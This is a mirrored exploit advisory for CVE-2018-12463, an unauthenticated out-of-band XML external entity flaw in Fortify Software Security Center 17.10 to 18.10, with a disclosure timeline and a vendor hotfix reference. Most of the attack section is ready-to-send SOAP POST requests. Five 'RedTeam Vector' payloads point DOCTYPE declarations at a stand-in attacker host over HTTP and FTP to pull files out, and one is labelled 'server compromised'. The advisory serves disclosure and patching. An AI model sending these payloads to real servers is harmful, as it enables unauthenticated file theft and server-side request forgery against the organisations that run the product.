Fortify Software Security Center (SSC) 17.x/18.1 – XML External Entity Injection

  • 作者： alt3kx
    日期： 2018-07-16
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/45027/
  • Details
================
Software: Fortify SSC (Software Security Center) 
Version: 17.10, 17.20 & 18.10
Homepage: https://www.microfocus.com
Advisory report: https://github.com/alt3kx/CVE-2018-12463
CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463
CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
CWE-611, CWE-918

Description
================
Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input. 

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Vulnerability
================
XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.

Proof of concept Exploit
==========================

The offending POST method below:

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1765

<?xml version='1.0' encoding='UTF-8'?>
<!Your payload here "http://intuder.IP.here/alex1.dtd"> <-- HERE!!! 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" soapenv:mustUnderstand="1">
<wsu:Timestamp xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="Timestamp-2">
<wsu:Created>2018-05-24T14:27:02.619Z</wsu:Created>
<wsu:Expires>2018-05-24T14:32:02.619Z</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="UsernameToken-1">
<wsse:Username>XXXXXXX</wsse:Username>
<wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">XXXXXXXXXXX</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</soapenv:Header>
<soapenv:Body>
<ns3:GetAuthenticationTokenRequest xmlns:ns3="http://www.fortify.com/schema/fws" xmlns:ns6="xmlns://www.fortify.com/schema/issuemanagement" 
xmlns:ns5="xmlns://www.fortifysoftware.com/schema/activitytemplate" xmlns:ns8="xmlns://www.fortifysoftware.com/schema/seed" 
xmlns:ns7="xmlns://www.fortifysoftware.com/schema/runtime" 
xmlns:ns9="xmlns://www.fortify.com/schema/attachments" 
xmlns:ns2="xmlns://www.fortify.com/schema/audit" 
xmlns:ns4="xmlns://www.fortifysoftware.com/schema/wsTypes" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ns3:TokenType>AnalysisUploadToken</ns3:TokenType>
</ns3:GetAuthenticationTokenRequest>
</soapenv:Body>
</soapenv:Envelope>

Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the 
exact API path and data sending to the server.

RedTeam Vector (1): Using “Transitional” payload, connection to HTTP server (intruder). it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1789

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://intruder.ip.here/alex1.dtd">

[../snip]

RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1750

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "http://intruder.ip.here/alex1.dtd">
<data>&send;</data>

[../snip]


RedTeam Vector (3): FTP payload with ruby FTP server emulator

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (4): FTP payloads with FTP python server

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (5): FTP payload, server compromised

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://anonymous:anonymous@intruder.ip.here:2121/alex1.txt">

[../snip]


Mitigations
================
Provided by the vendor here:

Document ID: KM03201563
https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563

Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx () protonmail com to acknowledge this report. 

This vulnerability will be published if we do not receive a response to this report with 10 days.

Timeline
================

2018-05-24: Discovered
2018-05-25: Retest PRO environment
2018-05-31: Vendor notification, two issues found 
2018-05-31: Vendor feedback received 
2018-06-01: Internal communication
2018-06-01: Vendor feedback, two issues are confirmed
2018-06-05: Vendor notification, new issue found
2018-06-06: Vendor feedback, evaluating High submission
2018-06-08: Vendor feedback, High issue is confirmed
2018-06-19: Researcher, reminder sent
2018-06-22: Vendor feedback, summary of CVEs handled as official way
2018-06-26: Vendor feedback, official Hotfix for High issue available to test
2018-06-29: Researcher feedback
2018-07-02: Researcher feedback
2018-07-04: Researcher feedback, Hotfix tested on QA environment
2018-07-05: Vendor feedback
2018-07-09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers.
2018-07-09: Vendor feedback, CVE and official Hotfix to be disclosure
2018-07-12: Agreements with the vendor to publish the CVE/Advisory. 
2018-07-12: Public report
    Java